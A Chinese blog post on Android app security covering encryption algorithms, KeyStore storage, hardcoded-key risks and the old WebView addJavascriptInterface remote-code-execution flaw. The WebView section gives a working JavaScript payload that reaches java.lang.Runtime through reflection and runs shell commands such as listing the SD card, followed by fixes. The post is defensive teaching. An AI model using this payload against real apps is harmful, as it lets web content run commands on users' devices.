关于应用安全开发的参考文章:
Android保存私密信息-强大的keyStore
Android 应用安全开发之浅谈加密算法的坑
安全性和隐私权最佳做法
Android应用存储安全与加固
Android数据加密之Des加密
应用程序的安全问题,大致分为以下4点
- 敏感数据没有加密,容易被窃取。
- Android安全漏洞没有修补,容易被利用攻击。
- 代码没有混淆,apk安装包容易被逆向破解。
- 数据传输没有使用https,容易被中间人攻击,运营劫持。
一、对敏感数据进行加密
加密算法比较
常见加密算法分,用途,原理以及比较
数字签名是什么?
Android应用安全开发之浅谈加密算法的坑
-
对称加密算法。即加密和解密均采用同一把秘密钥匙
DES(Data Encryption Standard):数据加密标准,速度较快,适用于加密大量数据的场合。
3DES(Triple DES):是基于DES,对一块数据用三个不同的密钥进行三次加密,强度更高。
AES(Advanced Encryption Standard):在密码学中又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准。高级加密标准,是下一代的加密算法标准,速度快,安全级别高; -
非对称加密算法。采用的加密钥匙(公钥)和解密钥匙(私钥)是不同的。
RSA:由 RSA 公司发明,是一个支持变长密钥的公共密钥算法,需要加密的文件块的长度也是可变的;
DSA(Digital Signature Algorithm):数字签名算法,是一种标准的 DSS(数字签名标准);
ECC(Elliptic Curves Cryptography):椭圆曲线密码编码学。 -
散列算法。散列是信息的提炼,通常其长度要比信息小得多,且为一个固定长度
MD5(Message Digest Algorithm 5):是RSA数据安全公司开发的一种单向散列算法。
SHA(Secure Hash Algorithm):可以对任意长度的数据运算生成一个160位的数值;
关于公钥、私钥
之前一直不理解这个钥匙还能用于加密,本以为钥匙不是用于解锁的吗?还能上锁,其实是我理解错了,
数字签名是什么?
利用KeyStore加密数据-Android4.3以上
KeyStore生成的密钥来加密和解密敏感信息,包括银卡号、密码、token等数据,加密后可以放心的保存在SharedPreferences、数据库中而不担心被破解,即使手机被root导出数据也不必担心。
二、Android 安全漏洞
app 漏洞来自阿里聚安全1. Android Webview远程代码执行漏洞
这个漏洞在Android 平台4.2之前存在,在后续的平台中不会存在。利用该漏洞可以执行很多后台操作,比如操作手机的文件系统,下载病毒到手机上。
android各版本占比情况,API<=17的大概占比9.2%,还有将近10%的比例呀,以上数据来自google官方。
android各版本占比.png
漏洞的危害
安卓WebView中接口隐患(远程代码执行漏洞)与手机挂马利用学习
实验验证
实验目的:获取手机sdcard命令下的所有文件
准备:Android4.1.1版本的手机一台
开发工具:Android studio
MainActivity
public class MainActivity extends Activity {
private WebView mWebView;
private Uri mUri;
private String url;
//String mUrl1 = "file:///android_asset/html/attack_file.html";file:///android_asset/test.html
String mUrl2 = "file:///android_asset/test.html";//https://security.tencent.com/lucky/check_tools.html
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_web_view);
mWebView = (WebView)findViewById(R.id.webview);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
//webView.getSettings().setAllowFileAccessFromFileURLs(true);
mWebView.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onJsAlert(WebView view, String url, String message,
JsResult result) {
//Required functionality here
return super.onJsAlert(view, url, message, result);
}
});
mWebView.loadUrl(mUrl2);
File file = new File("/sdcard/tt.txt");
try {
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
}
class JSInterface {
public String onButtonClick(String text) {
final String str = text;
runOnUiThread(new Runnable() {
@Override
public void run() {
Log.e("leehong2", "onButtonClick: text = " + str);
Toast.makeText(getApplicationContext(), "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();
}
});
return "This text is returned from Java layer. js text = " + text;
}
public void onImageClick(String url, int width, int height) {
final String str = "onImageClick: text = " + url + " width = " + width + " height = " + height;
Log.i("leehong2", str);
runOnUiThread(new Runnable() {
@Override
public void run() {
Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();
}
});
}
}
}
无法是否设置了mWebView.addJavascriptInterface(new JSInterface(), "jsInterface"),只要mWebView.getSettings().setJavaScriptEnabled(true);都会导致漏洞
test.html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<script>
var i=0;
function getContents(inputStream)
{
var contents = ""+i;
var b = inputStream.read();
var i = 1;
while(b != -1)
{
var bString = String.fromCharCode(b);
contents += bString;
contents += "\n"
b = inputStream.read();
}
i=i+1;
return contents;
}
function execute(cmdArgs)
{
for (var obj in window)
{
//console.log(window[obj]);
if ("getClass" in window[obj])
{
alert(window[obj]);
return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
//echo hello > test.txt
// var p = execute(["touch","/mnt/sdcard/yu2.txt"]);
var p = execute(["ls","/mnt/sdcard/"]);
document.write(getContents(p.getInputStream()));
</script>
<script language="javascript">
function onButtonClick()
{
// Call the method of injected object from Android source.
var text = jsInterface.onButtonClick("从JS中传递过来的文本!!!");
alert(text);
}
function onImageClick()
{
//Call the method of injected object from Android source.
var src = document.getElementById("image").src;
var width = document.getElementById("image").width;
var height = document.getElementById("image").height;
// Call the method of injected object from Android source.
//https://ss0.bdstatic.com/70cFuHSh_Q1YnxGkpoWK1HF6hhy/it/u=292050601,2473871589&fm=26&gp=0.jpg
window.jsInterface.onImageClick(src, width, height);
}
</script>
</head>
<body>
<p>点击图片把URL传到Java代码</p>
<img class="curved_box" id="image"
onclick="onImageClick()"
width="328"
height="185"
src="https://ss0.bdstatic.com/70cFuHSh_Q1YnxGkpoWK1HF6hhy/it/u=292050601,2473871589&fm=26&gp=0.jpg"
onerror="this.src='background_chl.jpg'"/>
</p>
<button type="button" onclick="onButtonClick()">与Java代码交互</button>
</body>
</html>
该漏洞主要是由于js可以通过反射机制获取到了java.lang.Runtime,通过命令来操作系统。
AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.scott.myapplication">
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true">
<activity
android:name=".MainActivity"
android:label="@string/title_activity_main">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
android-webkit-SearchBoxImpl.png
android-JSInterface.png
实验结果
实验前sdcard文件列表清单.png 获取到手机的文件列表终于验证了webview的漏洞,一定要找一个Android4.2.2以下版本的手机,用虚拟机不容易验证!
解决漏洞办法
-
在Android4.2.2版本之前
- 如果不需要用到和Javascript进行交交互,要禁止与远程Javascript交互的接口,删除searchBoxJavaBridge_接口,不使用addJavascriptInterface方法。
mWebView.getSettings().setJavaScriptEnabled(false);
mWebView.removeJavascriptInterface("searchBoxJavaBridge_");
mWebView.removeJavascriptInterface("accessibility");
mWebView.removeJavascriptInterface("accessibilityTraversal");
- 如果不需要用到和Javascript进行交交互,要禁止与远程Javascript交互的接口,删除searchBoxJavaBridge_接口,不使用addJavascriptInterface方法。
-
如果需要和Javascript进行交互。
Android WebView的Js对象注入漏洞解决方案
WebView 远程代码执行漏洞浅析
在WebView中如何让JS与Java安全地互相调用。这篇文章所说的解决办法,还是需要调用下面三个方法,才能达到解决漏洞的目的。
mWebView.removeJavascriptInterface("searchBoxJavaBridge_");
mWebView.removeJavascriptInterface("accessibility");
mWebView.removeJavascriptInterface("accessibilityTraversal"); -
在Android4.2.2版本之后
采用注解@JavascriptInterface。
2. 密钥硬编码
密钥硬编码的几种形式
- 密钥直接明文存在sharedprefs文件中,这是最不安全的。
- 密钥直接硬编码在Java代码中,这很不安全,dex文件很容易被逆向成java代码。
- 将密钥分成不同的几段,有的存储在文件中、有的存储在代码中,最后将他们拼接起来,可以将整个操作写的很复杂,这因为还是在java层,逆向者只要花点时间,也很容易被逆向。
- 用ndk开发,将密钥放在so文件,加密解密操作都在so文件里,这从一定程度上提高了的安全性,挡住了一些逆向者,但是有经验的逆向者还是会使用IDA破解的。
- 在so文件中不存储密钥,so文件中对密钥进行加解密操作,将密钥加密后的密钥命名为其他普通文件,存放在assets目录下或者其他目录下,接着在so文件里面添加无关代码(花指令),虽然可以增加静态分析难度,但是可以使用动态调式的方法,追踪加密解密函数,也可以查找到密钥内容。
密钥存储的正确方式
- 在Android4.3以上版本可以采用AndroidKeyStore的方式来存储密钥。
Android 密钥保护和 C/S 网络传输安全理论指南
Android官方Security tips
Android 密钥库系统
网友评论